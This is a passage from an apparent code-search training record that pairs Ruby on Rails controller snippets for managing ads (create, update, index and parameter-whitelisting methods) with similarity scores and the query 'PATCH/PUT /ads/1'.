"def create\n @home_indices_ad = Home::Indices::Ad.new(params[:home_indices_ad])\n\n respond_to do |format|\n if @home_indices_ad.save\n format.html { redirect_to @home_indices_ad, notice: 'Ad was successfully created.' }\n format.json { render json: @home_indices_ad, status: :created, location: @home_indices_ad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @home_indices_ad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ad_params\n \n params.require(:ad).permit(:content, :weight, :link, :counter, :location)\n end",
"def ad_params\n params.require(:ad).permit(:title, :description, :brand, :price, :state, :visit_count, :region, :city, :cellphone, :phone, :adress, :status, :cover)\n end",
"def ad_params\n params.require('ads')\n end",
"def create\n @advertise = Advertise.new(advertise_params)\n\n respond_to do |format|\n if @advertise.save\n format.html { redirect_to @advertise, notice: \"Advertise was successfully created.\" }\n format.json { render :show, status: :created, location: @advertise }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @advertise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ad_params\n params.require(:ad).permit(:title, :description, :price, :price_currency, :delivery, :slug)\n end",
"def create_ad_params\n params.require(:advertisement).permit(:title, :description, :width, :height, :ad)\n end",
"def create\n @advert = Advert.new(advert_params)\n\n respond_to do |format|\n if @advert.save\n format.html { redirect_to [:admin, @advert], notice: 'Advert was successfully created.' }\n format.json { render action: 'show', status: :created, location: @advert }\n else\n format.html { render action: 'new' }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @advertise = Advertise.new(advertise_params)\n\n respond_to do |format|\n if @advertise.save\n format.html { redirect_to @advertise, notice: 'Advertise was successfully created.' }\n format.json { render :show, status: :created, location: @advertise }\n else\n format.html { render :new }\n format.json { render json: @advertise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @advetiser = Advetiser.new(advetiser_params)\n\n respond_to do |format|\n if @advetiser.save\n format.html { redirect_to @advetiser, notice: 'Advetiser was successfully created.' }\n format.json { render :show, status: :created, location: @advetiser }\n else\n format.html { render :new }\n format.json { render json: @advetiser.errors, status: :unprocessable_entity }\n end\n end\n end",
"def createAd\n @nfo = params[:ad][:nfo]\n params[:ad].delete :nfo\n @ad = Ad.new(params[:ad])\n @ad.account_id = session[:account_id]\n respond_to do |format| #if the javascript response is empty, this may never run\n if @ad.save\n format.js\n end\n end\n end",
"def create\n advertisement = params[:advertisement]\n advertisement[\"ad_type\"] = \"video\"\n advertisement[\"user_id\"] = current_user.id\n\n if advertisement[\"content_link\"].start_with? \"http\", \"www\"\n advertisement[\"content_link\"].match /[?|&]v=([^&]*)/\n advertisement[\"content_link\"] = $1\n end\n\n @advertisement = Advertisement.new(advertisement)\n\n respond_to do |format|\n if @advertisement.save\n format.html { redirect_to my_advertisements_path, notice: 'Advertisement was successfully created.' }\n format.json { render json: @advertisement, status: :created, location: @advertisement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @advertisment = Advertisment.new(params[:advertisment])\n\n respond_to do |format|\n if @advertisment.save\n format.html { redirect_to @advertisment, notice: 'Advertisment was successfully created.' }\n format.json { render json: @advertisment, status: :created, location: @advertisment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @advertisment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ad_url = AdUrl.new(ad_url_params)\n\n respond_to do |format|\n if @ad_url.save\n format.html { redirect_to @ad_url, notice: 'Ad url was successfully created.' }\n format.json { render :show, status: :created, location: @ad_url }\n else\n format.html { render :new }\n format.json { render json: @ad_url.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ad_params\n params.require(:ad).permit(:text, :background, :clicks, :icon)\n end",
"def ad_params\n params.require(:ad).permit(:body, :img, :price, :url, :picture)\n end",
"def create\n @ad = Ad.new(ad_params)\n\n if @ad.save\n redirect_to @ad\n else\n render 'new'\n end\n end",
"def create\n @advert = Advert.new(advert_params)\n @advert.user_id = current_user.id\n\n respond_to do |format|\n if @advert.save\n format.html { redirect_to @advert, notice: 'Advert was successfully created.' }\n format.json { render :show, status: :created, location: @advert }\n else\n format.html { render :new }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @advertisement = Advertisement.new(advertisement_params)\n\n respond_to do |format|\n if @advertisement.save\n format.html { redirect_to events_pictures_step_1_path(:advertisement_id => @advertisement.id), notice: 'Advertisement was successfully created.' }\n format.json { render :show, status: :created, location: @advertisement }\n else\n format.html { render :new }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ad_type = AdType.new(params[:ad_type])\n\n respond_to do |format|\n if @ad_type.save\n format.html { redirect_to @ad_type, notice: 'Ad type was successfully created.' }\n format.json { render json: @ad_type, status: :created, location: @ad_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ad_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @advertisement_campaign = AdvertisementCampaign.new(advertisement_campaign_params)\n\n respond_to do |format|\n if @advertisement_campaign.save\n format.html { redirect_to @advertisement_campaign, notice: 'Advertisement campaign was successfully created.' }\n format.json { render action: 'show', status: :created, location: @advertisement_campaign }\n else\n format.html { render action: 'new' }\n format.json { render json: @advertisement_campaign.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ad_params\n params.require(:ad).permit(:user_id, :titel, :description, :price, :price_type, :postal_code, :place_id, :street, :ad_type, :contact_name, :phonenumber, :in_galery, :galery_end, :top_ad, :top_ad_end, :highlight, :highlight_end, :repeat_to_top, :repeat_to_top_end, :main_image, :category_id)\n end",
"def ad_params\n params.require(:ad).permit(:title, :price, :tag_id)\n end",
"def create\n @ad_holder = AdHolder.new(ad_holder_params)\n\n respond_to do |format|\n if @ad_holder.save\n format.html { redirect_to @ad_holder, notice: 'Ad holder was successfully created.' }\n format.json { render :show, status: :created, location: @ad_holder }\n else\n format.html { render :new }\n format.json { render json: @ad_holder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ad_tag = AdTag.new(params[:ad_tag])\n\n respond_to do |format|\n if @ad_tag.save\n format.html { redirect_to @ad_tag, notice: 'Ad tag was successfully created.' }\n format.json { render json: @ad_tag, status: :created, location: @ad_tag }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ad_tag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ad_params\n params.require(:ad).permit(:user_id, :category_id, :title, :description, :state, :price, :tags, :photo, :featured, :status)\n end",
"def ad_params\n params.require(:ad).permit(:title, :description, :c_type, :sub_category)\n end",
"def create\n @manage_advertisement = ManageAdvertisement.new(manage_advertisement_params)\n\n respond_to do |format|\n if @manage_advertisement.save\n format.html { redirect_to @manage_advertisement, notice: 'Manage advertisement was successfully created.' }\n format.json { render action: 'show', status: :created, location: @manage_advertisement }\n else\n format.html { render action: 'new' }\n format.json { render json: @manage_advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ad_params\n params.require(:ad).permit :banner_id, :campaign_id, :display_count, :start_date, :end_date, :file, :remote_file, :link\n end",
"def create\n @advertisement = Advertisement.new(advertisement_params)\n @advertisement.user = current_user\n respond_to do |format|\n if @advertisement.save\n format.html { redirect_to @advertisement, notice: 'Advertisement was successfully created.' }\n format.json { render :show, status: :created, location: @advertisement }\n else\n format.html { render :new }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @advert1 = Advert1.new(advert1_params)\n\n respond_to do |format|\n if @advert1.save\n format.html { redirect_to @advert1, notice: 'Advert1 was successfully created.' }\n format.json { render :show, status: :created, location: @advert1 }\n else\n format.html { render :new }\n format.json { render json: @advert1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @advertisement = Advertisement.new(advertisement_params)\n if @advertisement.save\n redirect_to advertisements_path\n else\n render :new\n end\n end",
"def create\n\t\t@ad = Ad.new(params[:ad])\n\t\t@ad.user_account_id = @auth_user.account_id\n\n\t\trespond_to do |format|\n\t\t\tif @ad.save\n\t\t\t\tupload_media\n\t\t\t\tformat.html { redirect_to(@ad, :notice => 'Ad was successfully created.') }\n\t\t\t\tformat.xml { render :xml => @ad, :status => :created, :location => @ad }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @advert = Advert.new(params[:advert])\n\n respond_to do |format|\n if @advert.save\n format.html { redirect_to(admin_adverts_path, :notice => 'Advert was successfully created.') }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @advert.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def ad_params\n params.require(:ad).permit(:title, :description, :price, :viewnumber, :quantity, :category_id, :user_id, {photos: []})\n end",
"def create\n @ad_account = AdAccount.new(ad_account_params)\n @ad_account.user = current_user\n\n respond_to do |format|\n if @ad_account.save\n format.html { redirect_to @ad_account, notice: 'Ad account was successfully created.' }\n format.json { render :show, status: :created, location: @ad_account }\n else\n format.html { render :new }\n format.json { render json: @ad_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ad }\n end\n end",
"def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ad }\n end\n end",
"def create\n @ad_plan = AdPlan.new(ad_plan_params)\n\n respond_to do |format|\n if @ad_plan.save\n format.html { redirect_to @ad_plan, notice: 'Ad plan was successfully created.' }\n format.json { render :show, status: :created, location: @ad_plan }\n else\n format.html { render :new }\n format.json { render json: @ad_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@adhub = Adhub.new(adhub_params)\n @adhub = current_user.adhubs.build(adhub_params)\n\n respond_to do |format|\n if @adhub.save\n format.html { redirect_to @adhub, notice: \"Advertisement was successfully created.\" }\n format.json { render :show, status: :created, location: @adhub }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @adhub.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @advertisement = current_user.advertisements.new(advertisement_params)\n @advertisement.status = INACTIVE\n respond_to do |format|\n if @advertisement.save\n \n format.html { redirect_to @advertisement, notice: 'Advertisement was successfully created.' }\n format.json { render :show, status: :created, location: @advertisement }\n message = \"Heyy new advertisement: #{@advertisement.title} is added by #{current_user.user_profile.name}\"\n User.get_customer_dealer(message)\n else\n format.html { render :new }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @adscripcion = Adscripcion.new(adscripcion_params)\n\n respond_to do |format|\n if @adscripcion.save\n format.html { redirect_to @adscripcion, notice: 'Adscripcion was successfully created.' }\n format.json { render :show, status: :created, location: @adscripcion }\n else\n format.html { render :new }\n format.json { render json: @adscripcion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @agency = Agency.new(agency_params)\n\n if @agency.save\n render json: @agency, status: :created, location: @agency\n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end",
"def advertisement_params\n params.require(:advertisement).permit(:event_id, :advertisement_name, :advertisement_date, :advertisement_time, :contact_email, :location, :contact_person, :description, :remove_advertisement_date, :display_main_page, :advertisement_start_time, :use_form_button, :which_form, :download_link, :share_download, :use_contact, :recurring_day, :recurring_on, :advertisement, :internal_link_url, :internal_link, :no_expiry, :template_selected, :full_advertisement, :advertisement_type, :force_on_main_page, :enable_disable_ad, :scheduled_when, :schedule, :next_occurence, :options, :slug, :create_own_page)\n end",
"def create\n @ad_contact = AdContact.new(params[:ad_contact])\n\n respond_to do |format|\n if @ad_contact.save\n format.html { redirect_to @ad_contact, notice: 'Ad contact was successfully created.' }\n format.json { render json: @ad_contact, status: :created, location: @ad_contact }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ad_contact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cargapp_ad = CargappAd.new(cargapp_ad_params)\n\n if @cargapp_ad.save\n @obj = {\n id: @cargapp_ad.id,\n name: @cargapp_ad.name,\n price: @cargapp_ad.price,\n description: @cargapp_ad.description,\n body: @cargapp_ad.body,\n image: @cargapp_ad.image.attached? ? url_for(@cargapp_ad.image) : nil,\n url: @cargapp_ad.url,\n media: @cargapp_ad.media.attached? ? url_for(@cargapp_ad.media) : nil,\n have_discoun: @cargapp_ad.have_discoun,\n is_percentage: @cargapp_ad.is_percentage,\n discoun: @cargapp_ad.discoun,\n active: @cargapp_ad.active,\n user_id: @cargapp_ad.user_id,\n created_at: @cargapp_ad.created_at,\n updated_at: @cargapp_ad.updated_at\n }\n render json: @obj, status: :created, location: @cargapp_ad\n else\n render json: @cargapp_ad.errors, status: :unprocessable_entity\n end\n end",
"def advert_params\n params.require(:advert).permit(:title, :description)\n end",
"def create\n@magazine = Magazine.find_by_id(params[:magazine_id])\n@ad = @magazine.ads.build(ad_params)\nrespond_to do |format|\nif @ad.save\nformat.html { redirect_to magazine_ad_path(@magazine, @ad), notice:\n'Ad was successfully updated.' }\nformat.json { render :show, status: :created, location: @ad }\nelse\nformat.html { render :new }\nformat.json { render json: @ad.errors, status: :unprocessable_entity }\nend\nend\nend",
"def create\n @advertisement = current_user.advertisements.build(advertisement_params)\n @advertisement.state = \"waiting\"\n\n respond_to do |format|\n if @advertisement.save\n format.html { redirect_to @advertisement, notice: 'Advertisement was successfully created.' }\n format.json { render :show, status: :created, location: @advertisement }\n else\n format.html { render :new }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ad_image = AdImage.new(ad_image_params)\n\n respond_to do |format|\n if @ad_image.save\n format.html { redirect_to @ad_image, notice: 'Placed ad was successfully created.' }\n format.json { render :show, status: :created, location: @ad_image }\n else\n format.html { render :new }\n format.json { render json: @ad_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @advertisement = Advertisement.new(params[:advertisement])\n \n @advertisement.uploaded_file = params[:advertisement][:image]\n @advertisement.event_id_id = params[:advertisement][:event_id_id]\n @advertisement.link = params[:advertisement][:link]\n\n respond_to do |format|\n if @advertisement.save\n format.html { redirect_to @advertisement, notice: 'Advertisement was successfully created.' }\n format.json { render json: @advertisement, status: :created, location: @advertisement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @ads = Ad.all\n end",
"def index\n @ads = Ad.all\n end",
"def index\n @ads = Ad.all\n end",
"def index\n @ads = Ad.all\n end",
"def index\n @ads = Ad.all\n end",
"def create\n @ad_unit = AdUnit.new(params[:ad_unit])\n\n respond_to do |format|\n if @ad_unit.save\n format.html { redirect_to @ad_unit, notice: 'Ad unit was successfully created.' }\n format.json { render json: @ad_unit, status: :created, location: @ad_unit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ad_unit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @advert = Advert.new(advert_params)\n @advert.user_id = session[:user_id]\n @advert.status = 1\n\n respond_to do |format|\n if @advert.save\n format.html { redirect_to @advert, notice: 'Объявление успешно обновлено.' }\n format.json { render action: 'show', status: :created, location: @advert }\n else\n format.html { render action: 'new' }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def advertisement_params\n params.require(:advertisement).permit(:advertisement_id, :title, :body, :image1, :delivery_date)\n end",
"def advert_params\n params.require(:advert).permit(:price, :adress, :agent_id, :toilet_count, :salon_count)\n end",
"def create\n @admitting = Admitting.new(admitting_params)\n\n if @admitting.save\n render json: @admitting, status: :created, location: @admitting\n else\n render json: @admitting.errors, status: :unprocessable_entity\n end\n end",
"def index\n @ads = Ad.all \n end",
"def ad_params\n params.require(:ad).permit(:creative_id, :bid_type, :bid_in_cents, {locations: [ {countries: [ {only: []}, {excluding: []} ]}, {states_provinces_regions: [ {only: []}, {excluding: []} ]}, {cities: [ {only: []}, {excluding: []} ]}, {zips_postal_codes: [ {only: []}, {excluding: []} ]}, {locales: [ {only: []}, {excluding: []} ]} ]}, { devices: [ {similar_to: []}, {only: []}, {excluding: []} ]}, { os: [ {only: []}, {excluding: []} ]}, { os_versions: [ {only: []}, {excluding: []} ]}, { subreddits: [ {similar_to: []}, {only: []}, {excluding: []} ]}, { interests: [ {similar_to: []}, {only: []}, {excluding: []} ]}, { placements: [ {only: []}, {excluding: []} ]})\n end",
"def ad_params\n params.require(:ad).permit(:variations, :description)\n end",
"def index\n @ads = Ad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n format.json { render :json => @ads }\n end\n end",
"def create\n @adopter = Adopter.new(adopter_params)\n\n if @adopter.save\n render json: @adopter, status: :created, location: @adopter\n else\n render json: @adopter.errors, status: :unprocessable_entity\n end\n end",
"def advertisement_params\n params.require(:advertisement).permit(:title, :category, :dollar_value, :expiry_date, :merchant_id)\n end",
"def create\n @admin_advertisement = Advertisement.new(admin_advertisement_params)\n @admin_advertisement.admin_id = current_admin.id\n respond_to do |format|\n if @admin_advertisement.save\n format.html { redirect_to admin_advertisements_path, notice: 'Advertisement was successfully created.' }\n format.json { render :show, status: :created, location: @admin_advertisement }\n else\n format.html { render :new }\n format.json { render json: @admin_advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @advert = Advert.new(advert_params)\n @advert.user = current_user\n @advert.views = 0\n respond_to do |format|\n if @advert.save\n format.html { redirect_to @advert, notice: 'Advert was successfully created.' }\n format.json { render :show, status: :created, location: @advert }\n else\n format.html { render :new }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def advertisement_params\n params.require(:advertisement).permit(:title, :content, :price, :category_id)\n end",
"def create\n @advertisement = Advertisement.new(advertisement_params)\n # @advertisement.images.attach(params[:advertisement][:images])\n respond_to do |format|\n if @advertisement.save\n format.html { redirect_to @advertisement, notice: 'Ad was successfully created.' }\n format.json { render :show, status: :created, location: @advertisement }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.71051663",
"0.70117784",
"0.69783634",
"0.6958402",
"0.687992",
"0.6796889",
"0.6729126",
"0.66890365",
"0.6644174",
"0.66278136",
"0.649528",
"0.64633185",
"0.64579415",
"0.6427978",
"0.64220244",
"0.6417364",
"0.63306385",
"0.63099897",
"0.6308368",
"0.62947494",
"0.6282589",
"0.62818897",
"0.6262055",
"0.6244764",
"0.6244725",
"0.62329304",
"0.62319326",
"0.62194145",
"0.62102365",
"0.6207463",
"0.6200579",
"0.6189535",
"0.61484104",
"0.61368066",
"0.61336756",
"0.61235887",
"0.6120972",
"0.61084753",
"0.6104264",
"0.6093761",
"0.609028",
"0.60773957",
"0.6073078",
"0.6065609",
"0.60182035",
"0.60052466",
"0.6004986",
"0.59959936",
"0.5989891",
"0.59865123",
"0.5981749",
"0.59774464",
"0.59744674",
"0.5973742",
"0.5971759",
"0.59647036",
"0.59587383",
"0.59467345",
"0.5946402",
"0.5934726",
"0.5913804",
"0.58974165",
"0.58949566",
"0.58899724",
"0.5887449",
"0.588278",
"0.588278",
"0.58694404",
"0.58613014",
"0.585321",
"0.58531",
"0.58471596",
"0.5841978",
"0.58287567",
"0.57980305",
"0.57940346",
"0.5792614",
"0.57875764",
"0.57841456",
"0.576213",
"0.5747487",
"0.5747487",
"0.5747487",
"0.5747487",
"0.5747487",
"0.5746685",
"0.5738215",
"0.573314",
"0.5731023",
"0.57233673",
"0.57164264",
"0.5714705",
"0.5710008",
"0.5705101",
"0.5699547",
"0.56966656",
"0.5690763",
"0.56869096",
"0.5678612",
"0.5677311"
] |
0.7014856
|
1
|
PATCH/PUT /ads/1 PATCH/PUT /ads/1.json
|
def update
respond_to do |format|
if @ad.update(ad_params)
format.html { redirect_to @ad, notice: 'Ad was successfully updated.' }
format.json { render :show, status: :ok, location: @ad }
else
format.html { render :edit }
format.json { render json: @ad.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n if @ad.update_attributes(params[:ad])\n format.html { redirect_to @ad, notice: 'Ad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n if @ad.update_attributes(params[:ad])\n format.html { redirect_to @ad, notice: 'Ad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ad = Ad.friendly.find(params[:id])\n\n respond_to do |format|\n if @ad.update(ad_params)\n format.html { redirect_to @ad, notice: \"Ad was successfully updated.\" }\n format.json { render :show, status: :ok, location: @ad }\n else\n format.html { render :edit }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\trespond_to do |format|\n\t if @ad.update(ad_params)\n\t\tformat.html { redirect_to ad_path(@ad), notice: 'Ad was successfully updated.' }\n\t\tformat.json { render :show, status: :ok, location: @ad }\n\t else\n\t\tformat.html { render :edit }\n\t\tformat.json { render json: @ad.errors, status: :unprocessable_entity }\n\t end\n\tend\n end",
"def update\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n if @advert.update_attributes(params[:advert])\n format.html { redirect_to @advert, notice: 'Advert was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @ad.update(ad_params)\n render :show, status: :ok, location: @ad\n else\n render json: @ad.errors, status: :unprocessable_entity\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @home_indices_ad = Home::Indices::Ad.find(params[:id])\n\n respond_to do |format|\n if @home_indices_ad.update_attributes(params[:home_indices_ad])\n format.html { redirect_to @home_indices_ad, notice: 'Ad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @home_indices_ad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # @advertisement = Advertisement.find(params[:id])\n respond_to do |format|\n if @advertisement.update_attributes(params[:advertisement])\n format.html { redirect_to @advertisement, notice: 'Advertisement was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n fix_tokenized_input_params\n respond_to do |format|\n if @ad.update(ad_params)\n format.html { redirect_to [@ad.org, @ad], notice: 'Ad was successfully updated.' }\n format.json { render :show, status: :ok, location: [@ad.org, @ad] }\n else\n format.html { render :edit }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n if @ad.update_attributes(params[:ad])\n format.html { redirect_to(@ad, :notice => 'Ad was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end",
"def update\n @ad_post = AdPost.find(params[:id])\n\n respond_to do |format|\n if @ad_post.update_attributes(params[:ad_post])\n format.html { redirect_to @ad_post, notice: 'Ad post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ad_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @advertisement = Advertisement.find(params[:id])\n\n respond_to do |format|\n if @advertisement.update_attributes(params[:advertisement])\n format.html { redirect_to @advertisement, notice: 'Advertisement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advert.update(advert_params)\n format.html { redirect_to @advert, notice: 'Объявление успешно обновлено.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advert.update(advert_params)\n format.html { redirect_to [:admin, @advert], notice: 'Advert was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @advert = @advert_class.find(params[:id])\n\n respond_to do |format|\n if @advert.update_attributes(params[:advert])\n format.html { redirect_to @advert, notice: 'Advert was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advert1.update(advert1_params)\n format.html { redirect_to @advert1, notice: 'Advert1 was successfully updated.' }\n format.json { render :show, status: :ok, location: @advert1 }\n else\n format.html { render :edit }\n format.json { render json: @advert1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ad_contact = AdContact.find(params[:id])\n\n respond_to do |format|\n if @ad_contact.update_attributes(params[:ad_contact])\n format.html { redirect_to @ad_contact, notice: 'Ad contact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ad_contact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ad_banner.update(ad_banner_params)\n format.html { redirect_to @ad_banner, notice: 'Ad banner was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ad_banner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advertisement.update_attributes(params[:advertisement])\n format.html { redirect_to my_advertisements_path, notice: 'Advertisement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n if @ad.update_attributes(params[:ad])\n flash[:notice] = 'Ad was successfully updated.'.l\n format.html { redirect_to ad_url(@ad) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ad.errors.to_xml }\n end\n end\n end",
"def update\n render json: Alien.update(params[\"id\"], params[\"alien\"])\n end",
"def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @advert.update(advert_params)\n format.html { redirect_to @advert, notice: 'Advert was successfully updated.' }\n format.json { render :show, status: :ok, location: @advert }\n else\n format.html { render :edit }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advert.update(advert_params)\n format.html { redirect_to @advert, notice: 'Advert was successfully updated.' }\n format.json { render :show, status: :ok, location: @advert }\n else\n format.html { render :edit }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advert.update(advert_params)\n format.html { redirect_to @advert, notice: 'Advert was successfully updated.' }\n format.json { render :show, status: :ok, location: @advert }\n else\n format.html { render :edit }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @advertisement_campaign.update(advertisement_campaign_params_to_update)\n format.html { redirect_to @advertisement_campaign, notice: 'Advertisement campaign was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @advertisement_campaign.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def patch!\n request! :patch\n end",
"def update\n @advertisment = Advertisment.find(params[:id])\n\n respond_to do |format|\n if @advertisment.update_attributes(params[:advertisment])\n format.html { redirect_to @advertisment, notice: 'Advertisment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advertisment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n if @ad.update_attributes(ad_params)\n flash[:notice] = :ad_was_successfully_updated.l\n format.html { redirect_to ad_url(@ad) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def update\n @ad_tag = AdTag.find(params[:id])\n\n respond_to do |format|\n if @ad_tag.update_attributes(params[:ad_tag])\n format.html { redirect_to @ad_tag, notice: 'Ad tag was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ad_tag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ad_type = AdType.find(params[:id])\n\n respond_to do |format|\n if @ad_type.update_attributes(params[:ad_type])\n format.html { redirect_to @ad_type, notice: 'Ad type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ad_type.errors, status: :unprocessable_entity }\n end\n end\n end",
